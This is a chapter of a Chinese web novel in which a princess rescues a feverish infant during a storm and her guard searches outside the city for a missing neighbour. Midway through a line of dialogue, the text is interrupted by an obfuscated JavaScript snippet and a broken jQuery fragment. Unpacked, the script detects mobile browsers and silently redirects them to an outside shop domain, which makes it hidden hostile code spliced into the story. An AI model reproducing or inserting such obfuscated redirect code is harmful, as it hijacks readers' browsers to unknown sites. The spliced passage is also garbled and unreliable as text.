在仁清堂待到了傍晚,李意清准备回清风居。
临出门的时候,元尧臣忽然追上来道:“嫂嫂,我孤身一人来到舒州,在这里无亲无故……以前我家中,父兄都会陪在我身边。”
他话中的意思太过明显。
李意清想到他做饭的手艺,眸光微闪,半响道:“过几日你兄长回来,到时候让他接你就是,刚好留下几日时间,好打扫厢房。”
元尧臣嘴角勾起,笑弯了眼眸。
“多谢嫂嫂。”
李意清说完,和毓心他们转身走上街道。
走到城东的时候,橘红色的夕阳渐渐变得暗沉,云层开始聚集,从远处山峦的轮廓边缘缓缓蔓延至头顶,厚重而低沉。
空气总弥漫着一股潮湿闷热的气息,是风雨欲来的征兆。
茴香忍不住加快了步伐,小声道:“快些回去吧,瞧着是要下上一场大暴雨。”
几人加快了步伐,刚走进梨花弄堂的时候,瓢泼大雨倾盆而下,四人竭力躲避,还是淋了个透湿。
站在廊下,乌云和黑夜融为一体,耳畔落雨声点点。忽然,一道闪电快速划开寂静夜空,惊雷声轰轰响起,像是远处蛰伏的巨兽,正在山野中亮出爪牙。
天地被短暂照亮,而后陷入更深的昏暗。
李意清用布帛擦干身上的水,隐约听到雨幕之中,夹杂着小孩的哭声。
“茴香,你有没有听到小孩的哭声?”
茴香正端着两碗姜茶走来,听到李意清的话,望着外头黑沉沉的雨幕,缩了缩脖子,“殿下,你说的怪吓人的。”
李意清伸手揉了揉自己的耳朵,凝神细听。
确实有小孩的哭声。
她放下手上的布帛,拿起靠在墙边的油纸伞,“我去舒窈姐姐家看一眼。”
“殿下,殿下!这么大的雨,等雨小些不好吗?”
茴香望着桌上还冒着热气的姜茶,跺了跺脚。
另一边,李意清叩门无果,伸手推门。
门只是虚掩着,没费多少力气,就被推开。
李意清绕过影壁,顺着长廊一路朝内,孩童的哭声越发明显。
她加快了脚步,推开四五扇门后,才看见独自躺在摇篮中的江淇。
一滴水珠顺着破损的屋顶滑落,滴在江淇的眉心。
惊雷闪过,江淇的哭声越大。
“舒窈姐姐!舒窈姐姐!荇儿!”
李意清大喊了几声,无人应答。
这么晚了,她们会去哪里。
李意清心中担忧,伸手将江淇从摇篮中抱起来。
不抱不知道,江淇的身上已然烧的滚热。
李意清吓了一跳,将江淇抱得更紧了些,拿起油纸伞就往回跑。
回去路上,看到出门来找的洛石。
洛石只戴了一个斗笠,雨水顺着他的帽檐滑下,颇有几分雨夜侠客的风范。
他看见李意清抱着的江淇,“果然,哭声并不是错觉。”
李意清道:“快回去,江淇身上滚烫。”
两人跑回房中,毓心看了一眼情况,面色难看了几分,一句话也没说,去了后厨煎药。
她煎药期间,李意清给江淇换了一身衣裳,然后才对三人道:“我去的时候,舒窈姐姐和荇儿都不在家。”
茴香皱紧了眉尖,“这么大的雨,她能去哪儿。”
李意清一面轻轻地拍打哭闹不休的江淇,一边担忧地看望深深的夜幕。
“洛石,你去隔壁院子问问刘阿婆,兴许刘阿婆知道。”
洛石闻言,二话不说钻进了雨幕。
半响后,洛石回来,“殿下,刘阿婆家中也没人。”
茴香:“怎么回事,好好地几个人大活人,还能凭空消失了不成。”
李意清当机立断,“茴香,你留下和毓心照看江淇,洛石,你和我一道去找她们。”
洛石:“殿下,现在雨这么大,你……”
李意清摇摇头:“我放心不下。”
一个六旬老人,一个还没出月子的妇人,一个几岁稚子,这么大的雨,能去哪里。
洛石见自己劝说不动,站起身跟在李意清的身后出去。
夜雨之中,原先热闹的街道也变得冷冷清清,积蓄的雨水来不及流出,在地面上形成一个个或大或小的水洼。
水洼波动着银白的冷光。
两人找了两个多时辰,将附近的巷子都找遍了,也没有别人的踪迹。
洛石看着李意清沾了雨水的发丝散在耳边,轻声安慰道:“殿下,或许,或许她们只是去了别处……”
他的声音越来越低。
一个丧夫丧子丧孙的老妪,一个被郎君欺骗的孤女,天下哪还有容身之处。
雨势渐渐变小,临近子夜,街道上安静得可怕。
“殿下,你先回去,我去城外看看。若是一有消息,我立刻回来禀告你。”洛石的视线落在李意清滴着水的袖袍上,这样下去,李意清也会病上一场。
他狠了狠心,一记手刀劈在李意清的身上,然后抱起昏迷的她几个纵跳,回到清风居。
毓心和茴香被李意清这副模样吓到。
“殿下怎么了?”
“没事,我把她敲晕了,”洛石解释了一句,“殿下今日淋了太多雨,你们给她换身衣裳,大概四五个时辰,她自然就能转醒。”
毓心这才放下心,伸手在李意清的额前和颈侧试了试温度,准备再煎一副汤药防范于未然。
见洛石送完李意清,还有要出去的架势,连忙问道:“那你呢?”
洛石道:“我还好,再去城外寻一圈就回来。”
不然李意清醒了,他没法交差。
茴香抿唇,“那你自己多注意些,自己的安全才是首要。”
这几日城外不太平。
洛石点了点头,头也不回地往外走,“知道。而且这舒州,有几人能是我的对手。”
他离开后,茴香安静地帮李意清换下淋湿的衣裳。
系好腰带后,茴香忽然“啊”的一声叫了出来。
毓心被她突如其来的一声吓的心跳停了一拍,心有余悸地拍了拍自己的胸口,“你突然大叫什么?”
茴香道:“我很生气。”
毓心:“你气什么?”
茴香:“我气殿下,总是顾着别人,我还气滕子鹤,不干人事,更气的是那个经济行老板,这宅子哪有他说的那么好。”
嘴上夸得比唱的好听,说什么安静清幽,文气汇聚,搬过来一看,一天天的,尽是些闹心日子。
毓心哑然。
茴香说完,有些心虚地看了一眼李意清,确认李意清没醒后,小声对毓心道:“我也就小声抱怨几句,你可千万别跟殿下说啊。”
“你放心,我知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13499269|129224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的。”毓心笑了笑,良久,像是低低的叹息,“可是,这些苦难并不会因为殿下没有遇上,就会平白无故的消失。”
如果身处绝境,有这样一个人愿意拉自己一把,那该多好。
茴香没听见毓心小声的自言自语,见她只叹息了一声便闭嘴不语,不再追问。
*
另一边,雨水顺着洛石的蓑衣缝隙钻了进来,衣服浸水,愈发变得笨重难走。
城门已经关闭,今夜暴雨,守城的士兵都回到了营中躲雨,此刻哨台上空无一人,只剩下一簇摇摇晃晃的火苗。
火苗被风拉扯,看上去会随时熄灭在这寂静的深夜中。
洛石收回视线,脚尖轻点,顺着城墙一跃而出。
伸手不见五指的黑夜,一切都显得格外模糊。
洛石屏息凝神,顺着小路向城外摸索,可是夜太深太黑,他找的很吃力。
半个时辰过去、一个时辰过去,依旧一无所获。
放弃的念头一闪而过,洛石回头朝城墙方向望过去。
城墙上的烛火纤弱的挺立在风雨中,架构出小小的,一方温暖的天地。
洛石咬牙,朝着城外又走了两里路。
再往外走,就是长江,长江奔腾而下,将汇聚的雨水带去远方。
会流经江宁,又会流向秀州,最后进入东海,化作茫茫一片。
洛石踩着湿重的泥巴,忽然,顿住了脚步。
前面有一个小小的草庐。
洛石蹲下身,低头仔细确认。
这里曾经是一片稻田,草庐是农户在稻苗成熟季节的时候守夜小住的地方。不过这一块地在汛期就会被洪水淹没,渐渐地,原先的田地变成了荒地。
洛石听到的轻微响动,正是从草庐中传出。
他上前两步,年久失修的草庐不敌暴雨冲刷,已经变得摇摇欲坠。
洛石不确定自己方才听到的响动是有人,还是屋子坍塌前的低鸣。
“有人吗?”
洛石试探着喊了一声。
草庐内安静了片刻,忽然响起一道很细弱的声音。
“洛石?”
是江舒窈的声音。
洛石反应过来,立刻上前两步。
草庐破旧,外面下大雨,里面下小雨,她早就浑身湿透。
看见洛石的身影,江舒窈忽然哭了出来。
洛石手忙脚乱地将头顶的斗笠戴在她的头上,“江姐姐,你先别哭,荇儿呢?她在不在你的身边?”
江舒窈的哭声戛然而止。
“荇儿不在家中吗?”
洛石刚放下的心又猛地提起。
“我先送你回去。”
江舒窈:“不,我和你一道找。”
她一边说着,一边艰难地挪动脚步。
洛石好言相劝,“江姐姐,你淋了雨,情况很不好,况且你的腿脚还僵硬着,怎么能帮得上忙。”
江舒窈颤抖地扶着草庐。
“不,我要去找她,都是我的错,都是我的错。”
说完,迈着双腿艰难的前行。
洛石一时无言,他很想说,以她现在的状态能不能帮上忙另说,添麻烦的可能性更大。
可是他已经找了一夜,现在已经懒得开口再劝。
洛石正准备也给江舒窈背后来一下的时候,江舒窈先一步支撑不住,倒在地上晕了过去。